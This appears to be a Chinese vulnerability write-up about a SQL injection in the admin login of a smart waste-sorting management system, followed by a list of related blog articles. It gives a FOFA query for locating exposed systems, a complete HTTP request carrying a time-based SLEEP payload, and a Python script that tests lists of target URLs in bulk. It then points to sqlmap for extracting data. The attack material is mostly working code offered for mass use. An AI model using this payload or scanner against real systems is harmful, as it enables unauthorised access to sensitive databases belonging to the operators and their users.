智能垃圾分类管理系统存在SQL注入

简介: 智能垃圾分类管理系统存在SQL注入

漏洞简介

       智慧垃圾分类管理系统应用于智能垃圾桶、厨余垃圾桶、智能果皮箱生产的企业,依托AI技术、人脸识别、移动互联网、大数据、物联网等。该系统存在sql注入漏洞,攻击者可获取数据库敏感信息。

FOFA语句

title="智能垃圾分类管理系统"

漏洞影响

全版本?

漏洞复现

在登陆框抓包


    POST /ghc_master/data/action.admindata.php HTTP/1.1
    Host: xxx.xxx.xxx.xxx
    Content-Length: 96
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.62
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://xxx.xxx.xxx.xxx
    Referer: http://xxx.xxx.xxx.xxx/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Connection: close
    do=adminlogin&username=admin' AND (SELECT 2847 FROM (SELECT(SLEEP(5)))trlL)-- sNmL&password=4224

    640.png


    如果在5秒后返回了1,说明存在sql注入漏洞

    python脚本,可批量进行检测


    import requests
    import sys
    import argparse
    from requests.packages.urllib3.exceptions import InsecureRequestWarning  #消除警告
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  # 消除警告
    def lemonlove7():
        print('+++FOFA:title="智能垃圾分类管理系统"')
        print('+++python xxx.py -u/--url http://xxx.xxx.xxx.xxx')
        print('+++python xxx.py -f/--file xxx.txt')
        print('+++作者:lemonlove7')
        print('-----------------------------------------------------')
    if len(sys.argv) == 1:
        lemonlove7()
        sys.exit()
    p = argparse.ArgumentParser(description='lemonlove7')
    p.add_argument('-u','--url',help='目标url',default='')
    p.add_argument('-f','--file',help='文件',default='')
    xp = p.parse_args()
    url = xp.url
    file = xp.file
    data = "do=adminlogin&username=admin' AND (SELECT 2847 FROM (SELECT(SLEEP(5)))trlL)-- sNmL&password=4224"
    headers = {
        'User-Agent': 'Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/90.0.4430.212Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
        'Cookie': 'PHPSESSID=hfq66id9bum90sovr9gmn7klde'
    }
    if url !='':
        url1 = url
        try:
            url = url+'/ghc_master/data/action.admindata.php'
            r = requests.post(url = url ,headers =headers,data=data ,timeout = 15,verify=False)
            if r.text =='1' and r.status_code == 200:
                print(url1 + '存在sql注入')
            else:
                print(url1+'不存在aql注入')
        except:
            print(url1+"异常")
    if file!= '':
        f = open(file,'r+')
        for i in f.readlines():
            url=i.strip()
            if url.startswith('http:') != 1 and url.startswith('https:') != 1:
                url = 'http://' + url
            url =url
            url1 = url
            try:
                t = url + '/ghc_master/data/action.admindata.php'
                r =requests.post(url=url,data=data,headers=headers,timeout=15,verify=False)
                if r.status_code == 200 and '1' in r.text:
                    print(url1+'存在sql注入')
                else:
                    print(url1+'不存在注入')
            except:
                print(url1+'异常')

    运行效果如下

    640.png

    用sqlmap进行sql注入


    • 640.png



    相关文章
    |
    7月前
    |
    SQL 传感器 人工智能
    生成更智能,调试更轻松,SLS SQL Copilot 焕新登场!
    阿里云日志服务(SLS)推出智能分析助手 SLS SQL Copilot,融合 AI 技术与日志分析最佳实践,将自然语言转换为 SQL 查询,降低使用门槛,提升查询效率。其具备原生集成、智能语义理解与高效执行能力,助力用户快速洞察日志数据价值,实现智能化日志分析新体验。
    473 1
    |
    8月前
    |
    JSON 人工智能 Java
    基于Spring AI构建智能Text-to-SQL转换器:一个完整的MCP
    Spring AI 更新结构化输出转换器,弃用旧版 Parser 类,引入与 Spring 框架对齐的 Converter 体系,提升命名规范与功能兼容性。新版本支持 JSON、XML 及 Java 对象转换,确保 LLM 输出结构化,便于下游应用处理。
    |
    7月前
    |
    SQL 传感器 人工智能
    生成更智能,调试更轻松,SLS SQL Copilot 焕新登场!
    本文是阿里云日志服务(SLS)首次对外系统性地揭秘 SLS SQL Copilot 背后的产品理念、架构设计与核心技术积淀。我们将带你深入了解,这一智能分析助手如何从用户真实需求出发,融合前沿 AI 能力与 SLS 十余年日志分析最佳实践,打造出面向未来的智能化日志分析体验。
    639 53
    |
    8月前
    |
    SQL 容灾 安全
    云时代SQL Server的终极答案:阿里云 RDS SQL Server如何用异地容灾重构系统可靠性
    在数字化转型的浪潮中,数据库的高可用性已成为系统稳定性的生命线。作为经历过多次生产事故的资深开发者,肯定深知传统自建SQL Server架构的脆弱性——直到遇见阿里云 RDS SQL Server,其革命性的异地容灾架构彻底改写了游戏规则。
    |
    SQL 存储 测试技术
    SQL在构建系统中的应用:关键步骤与技巧
    在构建基于数据库的应用系统时,SQL(Structured Query Language)作为与数据库交互的核心语言,扮演着至关重要的角色
    |
    10月前
    |
    SQL 人工智能 关系型数据库
    GitHub 热门!MindsDB 破解 AI + 数据库瓶颈,究竟有什么惊艳亮点?只需 SQL 即可实现智能预测
    MindsDB 是一款将 AI 能力直接注入数据库的开源工具,支持 MySQL、PostgreSQL 等多种数据库连接,通过 SQL 即可完成模型训练与预测。它提供 AutoML 引擎、LLM 集成、联邦查询等功能,简化 MLOps 流程,实现数据到智能的无缝衔接。项目在 GitHub 上已获 32.4k 星,社区活跃,适用于客户流失预警、推荐系统、情感分析等场景。开发者无需深入模型细节,即可快速构建智能解决方案。项目地址:https://github.com/mindsdb/mindsdb。
    1460 0
    |
    SQL 安全 前端开发
    Web学习_SQL注入_联合查询注入
    联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
    713 2
    |
    SQL 存储 数据库
    SQL在构建系统中的应用:关键要素与编写技巧
    在构建基于数据库的系统时,SQL(Structured Query Language)扮演着至关重要的角色
    |
    SQL 安全 数据库
    惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
    在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
    424 5